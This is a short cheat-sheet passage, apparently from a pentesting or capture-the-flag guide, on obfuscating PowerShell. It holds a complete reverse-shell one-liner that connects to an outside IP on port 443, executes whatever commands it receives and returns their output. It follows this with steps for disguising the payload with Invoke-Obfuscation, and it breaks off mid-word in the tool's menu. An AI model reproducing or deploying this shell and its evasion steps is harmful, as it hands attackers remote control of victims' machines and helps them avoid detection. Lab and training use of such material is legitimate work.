Obfuscate the Powershell code # Powershell one-Liner $client = New-Object System.Net.Sockets.TCPClient('10.10.14.133',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() #save the above rev-shell to a file; rev.txt #Download Invoke-Obfuscation Import-Module ./Invoke-Obfuscation.psd1 Invoke-Obfuscation Output: Choose one of the below options: [*] TOKEN Obfuscate PowerShell command Tokens [*] AST Obfuscate PowerShell Ast nodes (PS3.0+) [*] STRING Obfuscate entire command as a String [*] ENCODING Obfuscate entire command via Encoding [*] COMPRESS Conve
Way to Divergence